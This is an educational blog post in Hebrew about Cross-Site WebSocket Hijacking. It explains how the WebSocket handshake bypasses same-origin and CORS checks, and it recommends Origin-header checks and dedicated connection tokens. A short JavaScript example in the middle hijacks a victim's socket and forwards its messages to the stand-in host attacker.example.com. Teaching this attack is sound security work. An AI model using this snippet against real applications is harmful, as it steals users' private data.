תקיפת WebSockets מוסברת - כשפרוטוקול אחר מפר את כל ההנחות הרגילות¶
רוב מה שלומדים על אבטחת ווב בנוי סביב הנחת יסוד אחת - שבקשות HTTP רגילות כפופות למדיניות מקור זהה, וש-CORS קובע מי מותר לו לגשת למה. הבעיה היא שברגע שאפליקציה עוברת לתקשורת דרך WebSockets, הרבה מההנחות האלה פשוט לא מתקיימות באותה צורה, וזה בדיוק המקום שבו בודקי חדירה רבים נופלים בפח, כי הם ממשיכים לחשוב במונחים של HTTP רגיל.
למה WebSockets שונים מבחינת אבטחה¶
חיבור WebSocket מתחיל כבקשת HTTP רגילה שנקראת handshake, ואז "משודרג" לחיבור דו-כיווני מתמשך. הנקודה הקריטית היא שהבקשה הראשונית הזו, ה-handshake, לא כפופה למדיניות המקור הזהה באותו אופן שבו כפופות בקשות AJAX רגילות. דפדפן לא חוסם דף מאתר אחד מלפתוח חיבור WebSocket לאתר אחר, ולא דורש שרת CORS מתאים כדי לאפשר את זה.
המשמעות המעשית היא שדף זדוני שגולש שלכם ביקר בו יכול לפתוח חיבור WebSocket ישירות לאפליקציה שלכם, ואם יש לו עוגיות תקפות של האפליקציה הזו בדפדפן, הן יישלחו אוטומטית עם ה-handshake, בדיוק כמו בכל בקשת HTTP רגילה.
חטיפת WebSocket חוצת אתרים¶
הטכניקה הזו נקראת Cross-Site WebSocket Hijacking, והיא בעצם גרסה של CSRF שמותאמת לעולם ה-WebSockets. אם השרת לא מוודא בזמן ה-handshake שהבקשה אכן מגיעה מהאתר הלגיטימי, תוקף יכול לבנות דף שמריץ קוד כזה:
const ws = new WebSocket("wss://target.example.com/chat");
ws.onopen = () => ws.send(JSON.stringify({ action: "getHistory" }));
ws.onmessage = (event) => {
// שולח את כל מה שהתקבל לשרת של התוקף
fetch("https://attacker.example.com/collect", { method: "POST", body: event.data });
};
ברגע שקורבן מחובר לאפליקציה הפגיעה ונכנס לדף הזדוני בטאב אחר, החיבור נפתח בהקשר ההרשאות שלו, וכל תקשורת שהייתה אמורה להיות פרטית זולגת ישירות לתוקף.
למה זה דורש כלים אחרים לבדיקה¶
בגלל ש-WebSockets הם פרוטוקול נפרד מ-HTTP רגיל, אי אפשר פשוט לתפוס ולשנות בקשות דרך פרוקסי כמו בבדיקת אפליקציה סטנדרטית בלי תמיכה ייעודית. כלים כמו Burp Suite כוללים לשונית נפרדת להיסטוריית WebSocket, שמאפשרת לראות את כל ההודעות שעברו בערוץ, ואפילו לשלוח הודעות חדשות ידנית כדי לבדוק איך השרת מגיב. בלי כלי כזה, קל לפספס לגמרי את התעבורה, כי היא לא מופיעה ברשימת הבקשות וההגובות הרגילה.
בבדיקה מקצועית כדאי גם לשים לב לפרטים כמו אילו כותרות נשלחות ב-handshake, אם יש טוקן ייעודי בפרמטרים של ה-URL, ואיך השרת מגיב אם מנסים לפתוח חיבור בלי עוגיות בכלל, כדי להבין על מה בדיוק ההרשאה מתבססת.
איך מגנים נכון על חיבורי WebSocket¶
ההגנה המרכזית היא לא לסמוך על עוגיות הדפדפן כמנגנון האימות היחיד לחיבור, בדיוק כמו שלא סומכים רק עליהן בבקשות HTTP רגישות:
- בדיקת כותרת Origin - השרת צריך לבדוק את כותרת ה-Origin שמגיעה עם בקשת ה-handshake, ולסרב לפתוח חיבור אם היא לא תואמת רשימת מקורות מורשית.
- טוקן ייעודי לחיבור - הדרך הכי אמינה היא לדרוש טוקן אימות שנוצר במיוחד עבור החיבור, ולא להסתפק בעוגיית ההתחברות הרגילה, כך שדף זר לא יכול פשוט "לרכב" על ההרשאה הקיימת בדפדפן.
- הגבלת זמן ותוקף - טוקן שתקף רק לזמן קצר ומתחדש בנפרד מוריד משמעותית את מרחב הזמן שבו ניתן לנצל חיבור שנחטף.
הבנה מעמיקה של פערים כאלה בין ההנחות הרגילות של HTTP לבין ההתנהגות בפועל של פרוטוקולים חדשים יותר היא בדיוק סוג הידע שמבדיל בין בודק חדירה שמריץ סורק אוטומטי לבין כזה שמבין מה קורה מתחת למכסה המנוע. אנחנו בונים את החשיבה הזו שלב אחר שלב בקורס פריצת אתרים מתקדמת.
בדקתם פעם אפליקציה עם WebSockets ולא הייתם בטוחים איך לגשת לזה? בדיסקורד שלנו יש לא מעט דיונים בדיוק על זה.
לסיכום¶
WebSockets לא כפופים לאותה מדיניות מקור זהה שאתם רגילים אליה מבקשות HTTP רגילות, ומי שלא זוכר את זה עלול להשאיר חור אמיתי באפליקציה. הגנה נכונה דורשת בדיקת Origin בזמן ה-handshake וטוקן אימות ייעודי לחיבור, ולא רק הסתמכות על עוגיות שהדפדפן שולח אוטומטית לכל מי שמבקש.